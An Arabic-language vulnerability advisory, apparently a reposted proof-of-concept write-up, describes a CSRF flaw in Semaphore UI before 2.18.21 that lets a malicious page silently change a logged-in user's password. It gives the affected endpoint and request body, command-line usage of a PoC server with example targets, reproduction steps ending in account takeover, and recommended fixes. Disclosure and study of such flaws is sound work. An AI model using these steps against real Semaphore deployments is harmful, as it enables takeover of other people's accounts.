CVE-2026-73292 – تغيير كلمة المرور عبر CSRF في Semaphore UI < 2.18.21

لأغراض تعليمية ولإفصاح مسؤول فقط.

تم الإبلاغ عن هذه الثغرة في GHSA-8cj9-r88m-8945 وتؤثر على إصدارات semaphoreui الأقدم من 2.18.21.

الثغرة

لا تنفّذ نقطة نهاية تغيير كلمة المرور في Semaphore UI أي حماية من CSRF:

• لا يُطلَب رمز CSRF
• لا يُطلَب تأكيد كلمة المرور الحالية
• تعتمد المصادقة حصريًا على ملف تعريف ارتباط الجلسة (semaphore) دون فرض SameSite

يمكن لصفحة خبيثة تغيير كلمة مرور أي مستخدم مصادَق يزورها بصمت.

نقطة النهاية المتأثرة: POST /api/users/{id}/password

{"password": "newpassword", "project_id": 1}

الاستخدام

python poc_server.py -u http://TARGET:3000 -i USER_ID [-n NEW_PASSWORD] [-p PORT]

مثال

python poc_server.py -u http://192.168.1.10:3000 -i 1 -n pwn3d -p 1337

بعد ذلك أرسِل الضحية (المصادَق على Semaphore) إلى http://ATTACKER:1337؛ ستُغيَّر كلمة مروره فور تحميل الصفحة.

خطوات إعادة الإنتاج

1. شغّل خادم الإثبات المفاهيمي (PoC):
   root@kitploit:~

   python poc.py -u http://TARGET:3000 -i 1
   

2. في المتصفح، سجّل الدخول إلى Semaphore UI بصفة الضحية
3. انتقل إلى http://ATTACKER:1337
4. في DevTools → Network: لاحظ طلب POST إلى /api/users/1/password يعيد HTTP 204
5. سجّل الدخول بكلمة المرور الجديدة لتأكيد الاستيلاء على الحساب

الإصلاح الموصى به

• أضِف رمز CSRF إلى جميع نقاط النهاية التي تغيّر الحالة
• اطلب تأكيد كلمة المرور الحالية عند تغيير كلمة المرور
• عيّن SameSite=Strict على ملف تعريف ارتباط الجلسة